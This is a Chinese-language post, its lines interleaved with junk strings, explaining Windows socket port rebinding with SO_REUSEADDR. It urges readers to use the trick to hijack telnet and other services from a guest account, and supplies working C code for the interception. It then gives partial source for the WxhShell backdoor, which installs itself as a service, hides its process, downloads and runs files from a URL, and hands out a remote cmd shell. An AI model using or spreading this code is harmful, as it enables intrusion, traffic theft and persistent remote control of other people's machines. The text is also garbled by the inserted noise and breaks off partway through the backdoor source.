在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
)58~2vR s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
;^E_BJm n9`]}bnX saddr.sin_family = AF_INET;
G43r85LO {P_7AM saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Fkq^2o
] _nxH;Za bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T&b_*)=S FoH1O+e 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
c-n/E. E e
t@:-} 这意味着什么?意味着可以进行如下的攻击:
(j?? +8itP> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
FU>KiBV# -)}Z
$;1a 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`.3@Ki~$#
/7:+.#Ag` 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
/S1/ ZI 5s`r&2 w 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
dt+r P% hh*('n>[ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
, c{ckm i.`n^R;N 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
150-'Q N
fG9a~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
$u yx '=#fELMW #include
U"+W)rUd #include
G
:k'm^k #include
UOl*wvy #include
n_9Ex&?e DWORD WINAPI ClientThread(LPVOID lpParam);
72yJv=G int main()
QHf&Z*Xtl {
BK6
X)1R WORD wVersionRequested;
v~x4Y,m% DWORD ret;
ov;^ev,( WSADATA wsaData;
+jF2{" BOOL val;
q#8yU\J|, SOCKADDR_IN saddr;
2.b,8wT/ SOCKADDR_IN scaddr;
WulyMcJ int err;
jlU6keZh` SOCKET s;
vB{iw}Hi! SOCKET sc;
OWT%XUW= int caddsize;
q`IY;"~ HANDLE mt;
$[,4Ib_| DWORD tid;
Sp:w _;{# wVersionRequested = MAKEWORD( 2, 2 );
Rb&9!z err = WSAStartup( wVersionRequested, &wsaData );
gBcs if ( err != 0 ) {
; teM^zyI printf("error!WSAStartup failed!\n");
qxu3y+po] return -1;
0F/[GZ<k }
3]mprX' saddr.sin_family = AF_INET;
T]-MrnO [xr^t1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
L/C~l3 AD?XJ3 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
!U m9ceK saddr.sin_port = htons(23);
s hH2/.> if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,1N|lyV {
%N fpEo printf("error!socket failed!\n");
/:(A9b-B return -1;
t(uvc{K* }
}^&f { val = TRUE;
Y_+#|]=$B //SO_REUSEADDR选项就是可以实现端口重绑定的
'o#oRK{# if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
QRf>lZP {
'6&o:t printf("error!setsockopt failed!\n");
Zp~yemERr return -1;
R#^ku)0 }
TEd5&Z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EGQgrwY5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
/r"<:+ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Hcu!bOQ d8w3Oz54 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
prz COw {
~U"m"zpLP ret=GetLastError();
&s vg<UZ printf("error!bind failed!\n");
/f1]U
LmC: return -1;
|gO7`F2 }
N<rq}^qo listen(s,2);
lfHN_fE>Mq while(1)
7s?#y=M {
?uSoJM`wa! caddsize = sizeof(scaddr);
FAdTm#tgW] //接受连接请求
. fja;aG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
e+lun
- if(sc!=INVALID_SOCKET)
agx8 *x {
3)EJws! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
s`bGW1#io if(mt==NULL)
6~%><C {
;m7G8)I printf("Thread Creat Failed!\n");
%@Gy<t, break;
DlUKhbo$g }
Q`9c/vPU }
UXBWCo;- CloseHandle(mt);
1,+<|c)T? }
g D6S%O closesocket(s);
aKriO WSACleanup();
}g/u.@E return 0;
4)w,gp }
D;0>- DWORD WINAPI ClientThread(LPVOID lpParam)
{O2=K#J {
+s}&'V^ SOCKET ss = (SOCKET)lpParam;
q!:dZES SOCKET sc;
[n[dr@J7v unsigned char buf[4096];
R BHDfm'~7 SOCKADDR_IN saddr;
P!+Gwm{ long num;
z;1dMQ,# DWORD val;
T$D(Y`zdn DWORD ret;
hE {";/}J //如果是隐藏端口应用的话,可以在此处加一些判断
I:TbZ*vi~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"Wg,]$IvU saddr.sin_family = AF_INET;
:1*E5pX0n saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$VHIU1JjZ saddr.sin_port = htons(23);
-orRmn6} if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%@vF% {
2X\Pw printf("error!socket failed!\n");
-H6[{WVW! return -1;
BwWSztJ+B }
MTtx|L\4 val = 100;
ej-A=avd if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
wI|h9q1U {
IrL%0&*hS ret = GetLastError();
<4Gy~? return -1;
}"T Q\v$ }
[ *Dj:A)V^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
r5~W/eE {
@bA5uY! ret = GetLastError();
$@'BB=i return -1;
X3}eq|r9 }
cOV9g)7^O if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c},pu[nL {
5FR#CQ printf("error!socket connect failed!\n");
x9Z89Gwi closesocket(sc);
;|vP|Xi closesocket(ss);
3Qe|'E,U return -1;
P'qBqx[ }
L6_%SGY_iE while(1)
xZ`z+) {
(-WRZLOQ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
t\ oud{Cv //如果是嗅探内容的话,可以再此处进行内容分析和记录
I%J>~=]n_ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
z+yq%O num = recv(ss,buf,4096,0);
cZBXH*-M! if(num>0)
kAEq +{h send(sc,buf,num,0);
33DP?nI} else if(num==0)
5=C?,1F$A break;
kC. !cPd num = recv(sc,buf,4096,0);
FB?~:7+' if(num>0)
=Mx"+/Yo* send(ss,buf,num,0);
m*]`/:/X[ else if(num==0)
1@p, break;
$b|LZE\bU. }
+ kMj|()>\ closesocket(ss);
:u,.(INB closesocket(sc);
C})Dvh return 0 ;
Vq+7 /+2" }
R)66qRf ^Ye(b7Gd d/9YtG%q ==========================================================
m&gd<rt/ 3l<qcKKc 下边附上一个代码,,WXhSHELL
?\8aT"o kaCN^yQ ==========================================================
qhY+<S9 wL8ji>" #include "stdafx.h"
$L= Dky7 /7D5I\ #include <stdio.h>
.JLJ(WM #include <string.h>
*gwaW!= #include <windows.h>
44*#qLN #include <winsock2.h>
1k6asz^T #include <winsvc.h>
OY{fxBb #include <urlmon.h>
;"nO'wN:h eP]y\S*P #pragma comment (lib, "Ws2_32.lib")
7.Y;nem:( #pragma comment (lib, "urlmon.lib")
HZAT_ 'l^Bb#)" #define MAX_USER 100 // 最大客户端连接数
t?>}0\1 #define BUF_SOCK 200 // sock buffer
-E|"? #define KEY_BUFF 255 // 输入 buffer
QWOPCoUet A:(|"<lA #define REBOOT 0 // 重启
Vbv^@Kp #define SHUTDOWN 1 // 关机
89:nF# cIw X sx
#define DEF_PORT 5000 // 监听端口
w317]-n ="$w8iRU #define REG_LEN 16 // 注册表键长度
A.r7 ks #define SVC_LEN 80 // NT服务名长度
&b#d4p6&l &Gh,ROo4 // 从dll定义API
mj'~-$5T typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
ltuV2.$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
/= ;,lC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
;9j ]P56 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
+=J$:/&U r[V%DU$dj // wxhshell配置信息
5Hu[* struct WSCFG {
anW['!T9{s int ws_port; // 监听端口
~Yd[&vpQ char ws_passstr[REG_LEN]; // 口令
29J|eBvxx int ws_autoins; // 安装标记, 1=yes 0=no
5.5kH$;> char ws_regname[REG_LEN]; // 注册表键名
3q/Us0jr char ws_svcname[REG_LEN]; // 服务名
l{7}3Am6 char ws_svcdisp[SVC_LEN]; // 服务显示名
hn2:@^=f char ws_svcdesc[SVC_LEN]; // 服务描述信息
e^eJ!~0 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
z|3v~, int ws_downexe; // 下载执行标记, 1=yes 0=no
@]n8*n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
q.=Q char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H7+z"^s* "~ID.G|< };
SOR\oZ7 /}@F
q // default Wxhshell configuration
KuwhA-IL struct WSCFG wscfg={DEF_PORT,
:-d#kU "xuhuanlingzhe",
legWY)4D; 1,
b~&cYk' "Wxhshell",
.fzyA5@l "Wxhshell",
x,^-a "WxhShell Service",
=Lkn
"Wrsky Windows CmdShell Service",
MPUyu(-%{ "Please Input Your Password: ",
enPtW 1,
!LH;K "
http://www.wrsky.com/wxhshell.exe",
lx2#C9L_ "Wxhshell.exe"
/4Wf\
Zu };
g
sm%4>sc R8[VD iM6E // 消息定义模块
0 8L;u7u char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tkV[^OeU> char *msg_ws_prompt="\n\r? for help\n\r#>";
#D_Ti%.^} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
T2rwK2 char *msg_ws_ext="\n\rExit.";
`>\
~y1 char *msg_ws_end="\n\rQuit.";
+>C26Q char *msg_ws_boot="\n\rReboot...";
Kq")|9=d char *msg_ws_poff="\n\rShutdown...";
sP^:*B0 char *msg_ws_down="\n\rSave to ";
Jy:*GW6 %6(\Ki6I char *msg_ws_err="\n\rErr!";
=k<b* 8 char *msg_ws_ok="\n\rOK!";
kI`HD I7Kgi3 char ExeFile[MAX_PATH];
fwt+$`n int nUser = 0;
TFb7P/g HANDLE handles[MAX_USER];
]7<$1ta int OsIsNt;
B)7 :*Kj 8WDL.IO SERVICE_STATUS serviceStatus;
s;P _LaIp) SERVICE_STATUS_HANDLE hServiceStatusHandle;
}BS
EK<W vfqXHc
unj // 函数声明
^?fsJ int Install(void);
oU1N>,
int Uninstall(void);
8#$HKWUK int DownloadFile(char *sURL, SOCKET wsh);
BD]J/o int Boot(int flag);
KLM6#6` void HideProc(void);
xytWE:= int GetOsVer(void);
H9jlp.F int Wxhshell(SOCKET wsl);
{G=> WAXo void TalkWithClient(void *cs);
'KmM%tN int CmdShell(SOCKET sock);
7|=SZ+g int StartFromService(void);
]uhG&:
} int StartWxhshell(LPSTR lpCmdLine);
$xW9)) GjEV]hqR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
C4E}.``Hm VOID WINAPI NTServiceHandler( DWORD fdwControl );
aT2%Az@j <P1nfH // 数据结构和表定义
R5b,/>^'A SERVICE_TABLE_ENTRY DispatchTable[] =
MMjewGxe {
):G+*3yb {wscfg.ws_svcname, NTServiceMain},
/|U;_F Pmc {NULL, NULL}
+xIVlH9`Q };
;gEEdx'&T Q-h< av9 // 自我安装
"8a
V~]~Dj int Install(void)
R{brf6, {
]z7pa^ char svExeFile[MAX_PATH];
0o 7o;eN HKEY key;
-U>)B
strcpy(svExeFile,ExeFile);
[i~@X2:Al Z-t qSw8n // 如果是win9x系统,修改注册表设为自启动
c)Q-yPMl) if(!OsIsNt) {
kxe{HxM$Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$Rze[3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*RJD^hu RegCloseKey(key);
=Cf@!wZ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XU"G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Wx/PD=Sf& RegCloseKey(key);
*9KT@"v return 0;
I@N/Y{y# }
w@P86'< v }
-GL.8"c[ }
.vmCKZ else {
^&F.T-( A g[b;1$ // 如果是NT以上系统,安装为系统服务
pPs TgGai SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`Q+O#l? if (schSCManager!=0)
hHMp=8J7 {
h{yh}04P1 SC_HANDLE schService = CreateService
*@lVesC2 (
@?tR-L<u schSCManager,
zwUZ*Se wscfg.ws_svcname,
S5m.oHJI* wscfg.ws_svcdisp,
%[*_-% SERVICE_ALL_ACCESS,
e#6H[t
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wD SERVICE_AUTO_START,
meB9:w[m SERVICE_ERROR_NORMAL,
"JF svExeFile,
U>n.+/ss NULL,
U>b.MIBX NULL,
<!W9EM NULL,
fCb&$oRr! NULL,
\SmYxdU'> NULL
T;kh+i );
NSRY(#3 if (schService!=0)
,!AYeVq {
9@h-q(-
CloseServiceHandle(schService);
V?MaI.gj CloseServiceHandle(schSCManager);
+A
6kw%" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
A@.ruG$ strcat(svExeFile,wscfg.ws_svcname);
?)qm=mebY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
t P'._0n0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*Q-uE RegCloseKey(key);
vO zUAi return 0;
S2I{?y&K }
>r:z`^p }
4[r:DM|8 CloseServiceHandle(schSCManager);
nm|"9|/
}
IQ#Kod;) }
5?#AS#TD' .Pe^u%J6F return 1;
`sdbo](76 }
U z)G Y U&+lw= // 自我卸载
FGMYpapc~ int Uninstall(void)
QSYKYgxC {
`+(JwQC4 HKEY key;
p|>/Hz1v }z-)!8vF if(!OsIsNt) {
(:#4{C if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
W}^>lM\8 RegDeleteValue(key,wscfg.ws_regname);
sBN4:8 RegCloseKey(key);
B`%%,SLJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
L@ N\8mf RegDeleteValue(key,wscfg.ws_regname);
NUY sQO) RegCloseKey(key);
I7#+B1t return 0;
gepYV} }
>y@3`u] }
(a|Wq{`[ }
q={3fm else {
Gnqun% (j)>npOd9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
<ot%>\C if (schSCManager!=0)
:; 3y^! {
Ga"<qmLMc SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
IrP6Rxh if (schService!=0)
b\"2O4K,) {
40LAG if(DeleteService(schService)!=0) {
1B`0.M'd CloseServiceHandle(schService);
O;;vz+ j CloseServiceHandle(schSCManager);
X%M*d%n b return 0;
nR?m,J }
;Uj=rS`Q CloseServiceHandle(schService);
(@*#Pn|A }
>\ ym{@+* CloseServiceHandle(schSCManager);
pc_$,RkN }
A$'rT|>se }
9TE-'R@ IPh_QE2g return 1;
(XA]k%45 }
h,Tsb:Q"M 1QDAfRx // 从指定url下载文件
( /_Z^m9 int DownloadFile(char *sURL, SOCKET wsh)
X?] 1/6rV {
SR1UO'. HRESULT hr;
6n.C!,Zmn char seps[]= "/";
]?2&d[ char *token;
S|v-lJ/I char *file;
P^bcc char myURL[MAX_PATH];
CbRl/ 68HY char myFILE[MAX_PATH];
852Bh'u_ Qte'f+ strcpy(myURL,sURL);
`ZAGseDd~ token=strtok(myURL,seps);
Y'i_EX| while(token!=NULL)
@7B!(Q {
.zyi'Kj file=token;
y>m=A41:g token=strtok(NULL,seps);
XS"lR | }
yu62$d c_bIadE{ GetCurrentDirectory(MAX_PATH,myFILE);
0~N2MoOl^ strcat(myFILE, "\\");
5eSmyj-W strcat(myFILE, file);
9G}Crp send(wsh,myFILE,strlen(myFILE),0);
faaFmEC send(wsh,"...",3,0);
,n?oNU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
lo!_;`v=U if(hr==S_OK)
ul3._Q return 0;
gnSb)!i>z else
{p(.ckze+ return 1;
liq9P,( 'Sjcm@ILm }
~I)\d/7o Vg4N7i // 系统电源模块
Y)4&PN~[ int Boot(int flag)
My!<_Hp-W {
Z:}d\~`x$% HANDLE hToken;
"# mr?h_ TOKEN_PRIVILEGES tkp;
p}
}=li> ZMXIKN9BF# if(OsIsNt) {
m48m5> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7*r7Q' LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$n?@zd@53 tkp.PrivilegeCount = 1;
,;yiV<AD tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
OL|UOG AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
?-0>Wbg if(flag==REBOOT) {
@dCoh-Q3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
@'EU\Y\l return 0;
n +z5;'my }
vrD]o1F else {
$fA%_T_P'P if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bO%bMZWB!y return 0;
Rc H",*U }
N&t+*kF_ }
xW\iME else {
O=PyXOf if(flag==REBOOT) {
PN n{Rt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BK8)'9/ return 0;
e " f/ }
R1X{=ct else {
F+!K9( `| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
,9W|$2=F return 0;
G-]ndrTn }
=FXZcP>h }
ZVj/lOP X 0XBv8fg return 1;
Rj9YAW$ }
A~6:eappH %P2GQS-N // win9x进程隐藏模块
$5`P~Q'U void HideProc(void)
("k.5$ {
@exeHcW61 gZe(aGh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9a5x~Z:' if ( hKernel != NULL )
tTB,eR$ {
Eh)PZvH pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
|Psi?'4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
h7|#7 d FreeLibrary(hKernel);
r9Wk7?w) }
O$
7R<V [;/ydE= return;
ShdE!q7 }
;{79d8/= tB_GEt2M // 获取操作系统版本
MV<2x7S int GetOsVer(void)
1>1&NQ#} {
Ap{p_~~iJ OSVERSIONINFO winfo;
1o. O]> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
oZkjg3 GetVersionEx(&winfo);
YzqUOMAt"V if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
I65W^b4y return 1;
gUs.D_* else
0?KY9 return 0;
T\VKNEBo }
xG JX~) GRK+/1C // 客户端句柄模块
#MbkU]) int Wxhshell(SOCKET wsl)
RG9YA&1ce {
ykv,>nSXLL SOCKET wsh;
k[0Gz struct sockaddr_in client;
|^^'GZ%a DWORD myID;
_H9.AI \YE(E04w57 while(nUser<MAX_USER)
B 3Y,|* {
?32gug\i'} int nSize=sizeof(client);
iX]Vkx wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Z6eM~$Y if(wsh==INVALID_SOCKET) return 1;
N,9W18
@ "NY[&S handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
EIqe|a+ if(handles[nUser]==0)
]Z?y\L*M- closesocket(wsh);
X!,2/WT else
roDE?7x1 nUser++;
gJE m }
J3OxM--8" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
SW!lSIk hSQuML return 0;
#)&kF+ }
x{_:B
DY Ib(q9!L // 关闭 socket
b*w@kLLN void CloseIt(SOCKET wsh)
?6;9r[ p {
W_:3Sj l' closesocket(wsh);
i^9 ,. $<1 nUser--;
=]k0*\PS ExitThread(0);
>?/Pl"{b }
cn62:p]5 m5c?A+@fZ // 客户端请求句柄
%~eIx=s void TalkWithClient(void *cs)
tI42]:z {
zPzy0lx V*X6 <} SOCKET wsh=(SOCKET)cs;
[Yr}:B
< char pwd[SVC_LEN];
By&T59 char cmd[KEY_BUFF];
AgEX,SPP char chr[1];
5L6_W-n{ int i,j;
PE $sF]/ i2]7Bf)oV while (nUser < MAX_USER) {
pZo:\n5o |]--sUx: if(wscfg.ws_passstr) {
BG>fLp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-MEp0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
1:!_AU? //ZeroMemory(pwd,KEY_BUFF);
2a=3->D& i=0;
usj:I`> while(i<SVC_LEN) {
>Q5et1c ?VUU[h8"v5 // 设置超时
k!?sHUAj fd_set FdRead;
d}@b 3 struct timeval TimeOut;
K/xn4N_UX FD_ZERO(&FdRead);
99<]~,t=5 FD_SET(wsh,&FdRead);
Gw!VPFV>W TimeOut.tv_sec=8;
sIUhk7Cd8 TimeOut.tv_usec=0;
=35g:fL int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/V-uo(n< . if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
{zd07!9y O+iNR9O if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
''t\J^+& pwd
=chr[0]; bSa%?laS
if(chr[0]==0xd || chr[0]==0xa) { }
Xbmb8
pwd=0; j<"@Y7
break; /e/%mo
} E}?n^Zf
i++; R;mA2:W)x
} W|X=R?*ZK
J,iS<lV_
// 如果是非法用户,关闭 socket 6,wi81F,}
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2IfcdYG
} 0d>|2QV
F9ytU> zh
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %y96]e1
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e}f#dR+(
voX4A
pl
while(1) { O0Z!*Hy
=Msr+P9Ai
ZeroMemory(cmd,KEY_BUFF); 77 g<`}{
[3K& cX}B
// 自动支持客户端 telnet标准 azhilUD8
j=0; v11Uw?CM
while(j<KEY_BUFF) { !uZ)0R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >X@4wP7l
cmd[j]=chr[0]; RSfB9)3D
if(chr[0]==0xa || chr[0]==0xd) { hFMJDGCw>Q
cmd[j]=0; ke2zxX2f
break; U/}("i![Dy
} V ,+&.A23
j++; ttP|}|O
} !
3 ;;6
Vs1H)T%
// 下载文件 1k)31GEQw
if(strstr(cmd,"http://")) { 83(-/y
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
Z;ze{Vb
if(DownloadFile(cmd,wsh)) v(0IQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'zJBp 9a%
else :9H`O!VF
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HNUpgNi
} i'cGB5-j
else { ]EN+^i1F[
t.rlC5
k
switch(cmd[0]) { tDC?St1
'048Qykt;
// 帮助 t6q7w
case '?': { V7 OhOLK8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \sn
wR
break; O#_\@f#[
} c9ye[81
// 安装 UuKW`(?^
case 'i': { /4I9Elr
if(Install()) "F[e~S#V*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xcQD]"
else *Uw" `l
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gB<1;_KW
break; m2a[E0
} ZGw6Bd_I
// 卸载 +B '<0
case 'r': { X :#}E7]j
if(Uninstall()) {^@vCBE+
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.J6>"K<
else %zKTrsMZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +xL' LCx
break; u<U8LR=)V5
} !#Pr'm/,mu
// 显示 wxhshell 所在路径 Cl8S_Bz
case 'p': { &W8fEQwa
char svExeFile[MAX_PATH]; ^:^
strcpy(svExeFile,"\n\r"); Vl^p3f[
strcat(svExeFile,ExeFile); 3^Q;On|
send(wsh,svExeFile,strlen(svExeFile),0); {_G_YL[
break; 6fm oIK{
} F! [Gj%~I
// 重启 8kf5u#,'
case 'b': { 6Z@?W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l3Qt_I)L
if(Boot(REBOOT)) V. e30u5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5yL\@7u`
else { g [u*`]-;v
closesocket(wsh); 03n+kh
ExitThread(0); {^.q6,l
} r,<p#4(>_
break; W5uC5C*,l
} bXz*g`=;
// 关机 _<6E>"*m
case 'd': { hRQw]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $ghlrV;:ct
if(Boot(SHUTDOWN)) b:PzqMh{G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bun^EJ)
else { Xf;_r+;
closesocket(wsh); mwMc AUD]2
ExitThread(0); ,`ba?O?*G
} yR% l[/ X
break; 6T5\zInd
} #z61I"kU
// 获取shell 2U`!0~pod
case 's': { v'Pbx
CmdShell(wsh); Nh01NY;
closesocket(wsh); rA|&G'
ExitThread(0); '};mBW4z
break; ,`8:@<e
} E#E&z (G2
// 退出 ^U6VJ(58P
case 'x': { gg.lajX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @8Cja.H
CloseIt(wsh); <M,<|Y*)
break; cpm *m"Nk
} b
w!
// 离开 !<<wI'8
case 'q': { ><C9PS@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w!b;.l
closesocket(wsh); RNopx3
WSACleanup(); B2:GGZ|jS
exit(1); v\g1w&PN
break; u"F{cA!B
} w0O(>
} _&M^}||UH
} yBCLS550
BQ=JZ4&
// 提示信息 ezA&cZ5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,b<m],p
} mYqLqezAA
} \.?'y71
.IsOU
return; yJ>Bc
} 4,&f#=Y
09=w
// shell模块句柄 Ih[k{p
int CmdShell(SOCKET sock) ltv~Kh
{ ctPT=i60
STARTUPINFO si; R1Fcd@DWD
ZeroMemory(&si,sizeof(si)); }((P)\s
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~"Su2{"8B
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; L/)eNZ
PROCESS_INFORMATION ProcessInfo; ] I5&'#%2
char cmdline[]="cmd"; xx G>Leml
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "g/UpnH
return 0; a{Y8hR
} Rl
(+TE
/2cn`dR,
// 自身启动模式 }%c0EY'
int StartFromService(void) &w{z
{ "$3~):o
typedef struct B}@CtVWFz
{ {rzQ[_)EC
DWORD ExitStatus; x=N0H
DWORD PebBaseAddress; TpYdIt9#>
DWORD AffinityMask; T#KVN{O
DWORD BasePriority; 59(kk;
ULONG UniqueProcessId; QS@eqN
ULONG InheritedFromUniqueProcessId; 9R:?vk4
